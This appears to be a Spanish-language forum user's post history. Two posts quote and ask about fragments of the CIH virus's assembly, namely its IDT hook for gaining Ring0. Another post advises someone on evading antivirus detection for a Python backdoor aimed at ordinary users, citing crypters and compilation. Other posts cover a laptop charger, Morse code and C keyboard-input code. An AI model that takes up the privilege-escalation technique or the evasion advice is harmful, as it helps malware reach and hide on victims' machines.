Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Usuario887

#331
Hola,
Tengo una duda un poco tonta que me esta rompiendo la cabeza... el virus CIH, para obtener privilegios del sistema, altera la IDT y modifica la entrada de una excepcion que luego ocasiona. Sin embargo, ¿no son, tanto las instrucciones SIDT y LIDT privilegiadas de antemano? es decir, ¿como el virus accede a la IDT cuando es un simple EXE en modo usuario?:

Citar
MyVirusStart:
push ebp

; *************************************
; * Let's Modify Structured Exception *
; * Handing, Prevent Exception Error *
; * Occurrence, Especially in NT. *
; *************************************

lea eax, [esp-04h*2]

xor ebx, ebx
xchg eax, fs:[ebx]

call @0
@0:
pop ebx

lea ecx, StopToRunVirusCode-@0[ebx]
push ecx

push eax

; *************************************
; * Let's Modify *
; * IDT(Interrupt Descriptor Table) *
; * to Get Ring0 Privilege... *
; *************************************

push eax ;
sidt [esp-02h] ; Get IDT Base Address
pop ebx;

add ebx, HookExceptionNumber*08h+04h ; ZF = 0

cli

mov ebp, [ebx] ;
mov bp, [ebx-04h] ; Entry Point

lea esi, MyExceptionHook-@1[ecx]

;...
#332
A que en C si te lo detecta... :silbar:
Prueba compilandolo. Aunque eso tal vez lo haga mas detectable... es cuestion de firmas (y herustica).

https://www.tutorialspoint.com/What-are-pyc-files-in-Python

PD: puedes encontrar formas en Internet de construir EXEs a partir de scripts de Python. Lo que mejor se me ocurre a priori es hacerlo y en seguida cifrarlos. Puedes encontrar crypters en todas partes, aunque estarias saliendo de Guatemala y entrando a Guatepeor. Te recomiendo leer la documentacion de Windows para tratar con modulos ejecutables y hacerlo tu mismo.

Saludos.



(Ademas, el ambito de infeccion de un backdoor -pues es mas un backdoor que un troyano- escrito en Python se reduce a ciertos servidores y la mayoria de usuarios con Linux, y aparentemente tu objetivo es el usuario tipico. Esto a menos que incluyas una utilidad para instalar Python de antemano, lo cual, sinceramente, a mi me parece ineficiente).
#333
Hola,
Hace poco descargue el codigo fuente del virus CIH para entenderlo, pues me parece interesante. Sin embargo me encontre con una parte de el que no entiendo muy bien, como era de esperarse...

Código (asm) [Seleccionar]
; *************************************
; * Let's Modify *
; * IDT(Interrupt Descriptor Table) *
; * to Get Ring0 Privilege... *
; *************************************

push eax ;
sidt [esp-02h] ; Get IDT Base Address
pop ebx ;

add ebx, HookExceptionNumber*08h+04h ; ZF = 0

cli

mov ebp, [ebx] ; Get Exception Base
mov bp, [ebx-04h] ; Entry Point

lea esi, MyExceptionHook-@1[ecx]

push esi

mov [ebx-04h], si ;
shr esi, 16 ; Modify Exception
mov [ebx+02h], si ; Entry Point Address

pop esi


El comentario es bastante descriptivo. Sin duda suficiente para entender el objetivo, sin embargo el medio en si que utiliza en toda profundidad no lo entiendo plenamente:

Código (asm) [Seleccionar]
push eax ;
sidt [esp-02h] ; Get IDT Base Address
pop ebx ;

Aparentemente esta metiendo a EAX en la pila para luego, en sidt [esp-02h], introducir la base de la IDT en EBX pero, ¿por que resta 2? ¿no deberia mas bien sumar 4? recordemos que los valores en la medida que son antiguos en la pila, se encuentran en posiciones de memoria mas altas y, en este caso, hablando de un registro de 4 bytes, precisamente 4 posiciones mas alto.

Código (asm) [Seleccionar]

mov ebp, [ebx] ; Get Exception Base
mov bp, [ebx-04h] ; Entry Point

Esto no es nada evidente para mi. ¿Mueve, aparentemente, el Entry Point del IDT HookExceptionNumber a ebp, y luego lo que sea que se encuentre 4 bytes antes del mismo en los 16 bits menos significativos de EBP? ¿que sentido tiene?

Código (asm) [Seleccionar]
lea esi, MyExceptionHook-@1[ecx]
Ahora, mas evidentemente mueve el desplazamiento del hook a ESI. Sin embargo, ¿que es -@1[ecx]? ¿alguna forma de relocalizacion? No lo entiendo en absoluto. Aun no he aprendido esa sintaxis... ¿alguien tiene idea de al menos como se llama?

Código (asm) [Seleccionar]
mov [ebx-04h], si ;
shr esi, 16 ; Modify Exception
mov [ebx+02h], si ; Entry Point Address

Mueve a esa misteriosa direccion (EBX-04) el desplazamiento antes mencionado... ¿alguien tiene idea de que hay en los anteriores 4 bytes a un IDT? (evidentemente otro IDT, pero la pregunta es ironica, quiero decir, ¿alguien sabe por que?)

Eso es todo... estoy un poco enredado.
Saludos.
#334
Gracias por compartirlo.
#336
Cita de: Randomize en 30 Julio 2020, 21:34 PM
Una app novedosa ...
No es una rueda. Es mi rueda.  :rolleyes:
#337
Cita de: simorg en 29 Julio 2020, 15:29 PM
¿Cable?, el cable no hace nada más que llevar corriente, lo que proporciona voltaje e intensidad es la fuente/cargador......error de concepto.
Pues... sinceramente tienes razon, me equivoque de termino. Sin embargo evidentemente me referia al potencial de la fuente.

Cita de: simorg en 29 Julio 2020, 15:29 PM
Los portatiles normalmente se alimentan a 19.5v, pero aunque te pases un poquito no suele pasar nada, solo un poco de calentamiento, quizás.
Esta bien... supongo que no pasa nada entonces. Gracias.

Cita de: EdePC en 29 Julio 2020, 16:38 PM
Wow, solo 2.37 :xD, con razón tu LapTop no tiene teclado numérico, acabo de revisar y mi UltraBook más vieja de 16 pulgadas tiene un cargador de 20V 3.25A
Es que es de muy alto rendimiento. :xD


Cita de: EdePC en 29 Julio 2020, 16:38 PMsiempre revisa que no se sobrecaliente dicho cargador.
Mi antiguo cargador se sobrecargaba un monton. Honestamente soy bastante grosero con mis electronicos; a mi laptop la dejo a veces encendida sin siquiera utilizarla. Es un mal habito. Era de esperarse que se dañara algo...

Cita de: EdePC en 29 Julio 2020, 16:38 PM
Por cierto, para tu teclado no sé si lo has solucionado, pero con AutoHotKey lo solucionas, al menos yo lo uso para cosas similares...
¿te refieres al lenguaje?
#338
Cita de: simorg en 28 Julio 2020, 23:41 PM
¿Y no seria más simple tener un teclado normal externo por USB?......
Seria mas aburrido.

Mencionando el teclado numerico me hicieron darme cuenta de que en vez de todo el rollo de convertir Virtual Keys a UNICODE y enviarlas al teclado, etc. podia mas tranquilamente simular las teclas del teclado numerico. Gracias. Ahora funciona perfectamente; dejo el codigo de la funcion por si a alguien le interesa:

Código (cpp) [Seleccionar]

inline void send_in (char *in_buffer)
{  
   int i;
   INPUT in;

   /*printf ("\r\n[dbg] sending ascii key code: %s (%c)",
in_buffer,
atoi (in_buffer));*/

   in.type = INPUT_KEYBOARD;
   in.ki.wScan = 0;
   in.ki.time = 0;
   in.ki.dwExtraInfo = 0;

   in.ki.wVk = 0x12;
   in.ki.dwFlags = 0;
   SendInput(1, &in, sizeof(INPUT));
   
for (i=0;i<strlen (in_buffer);i++)
{
switch (in_buffer[i])
{
case '0':
send_numpad (&in, VK_NUMPAD0);
    break;
    case '1':
send_numpad (&in, VK_NUMPAD1);
    break;
    case '2':
send_numpad (&in, VK_NUMPAD2);
    break;
    case '3':
send_numpad (&in, VK_NUMPAD3);
    break;
    case '4':
send_numpad (&in, VK_NUMPAD4);
    break;
    case '5':
send_numpad (&in, VK_NUMPAD5);
    break;
    case '6':
send_numpad (&in, VK_NUMPAD6);
    break;
    case '7':
send_numpad (&in, VK_NUMPAD7);
    break;
    case '8':
send_numpad (&in, VK_NUMPAD8);
    break;
    case '9':
send_numpad (&in, VK_NUMPAD9);
    break;
    default: break;
}
}


   in.ki.wVk = 0x12;
   in.ki.dwFlags = KEYEVENTF_KEYUP;
   SendInput(1, &in, sizeof(INPUT));
   return;
}


y send_numpad:
Código (cpp) [Seleccionar]
inline void send_numpad (INPUT *in, int vk)
{
   in->ki.wVk = vk;
   in->ki.dwFlags = 0;
   SendInput(1, in, sizeof(INPUT));
   in->ki.dwFlags = KEYEVENTF_KEYUP;
   SendInput(1, in, sizeof(INPUT));
   return;
}
#339
Electrónica / Re: Morse
29 Julio 2020, 17:10 PM
Cita de: Meta en 24 Julio 2020, 14:22 PM
¿El código morse en digital...?
Solo para corregir lo que dije anteriormente...
Es un codigo binario, por lo tanto digital, que se transmite de forma analogica.
#340
Hola. Bueno, se acaba de dañar mi cargador... y se me ocurrio hacer uno pues aun necesito utilizar mi laptop mientras no compro otro. La cosa es que temo de quemar las resistencias de la computadora. El cable que estoy utilizando la esta alimentando con 20V a 2.25A. El cable original la alimentaba con 19V a 2.37A. Me preguntaba si alguien considera que deberia desconectarla paulatinamente, o que no deberia utilizar este cable en absoluto.

Gracias. (Espero que no se me queme mientras tanto)
Saludos.